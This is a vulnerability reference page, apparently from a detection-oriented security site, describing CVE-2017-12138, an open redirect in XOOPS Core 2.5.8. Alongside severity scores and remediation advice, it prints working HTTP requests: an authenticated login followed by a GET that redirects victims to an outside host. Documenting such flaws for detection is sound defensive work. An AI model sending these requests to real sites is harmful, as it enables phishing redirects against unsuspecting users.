🔙 목록으로 돌아가기

CVE-2017-12138: XOOPS Core 2.5.8 - Open Redirect

TitleXOOPS Core 2.5.8 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
RemediationApply the latest security patch or upgrade to a newer version of XOOPS Core to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.20503
CVE IDCVE-2017-12138
CWE IDCWE-601
Tags cve cve2017 redirect xoops authenticated vuln

🔍 Vulnerability Description

XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /user.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

uname=11fmr3&pass=EoliFu&xoops_redirect=%2Findex.php&op=login
GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12138.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-12138.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A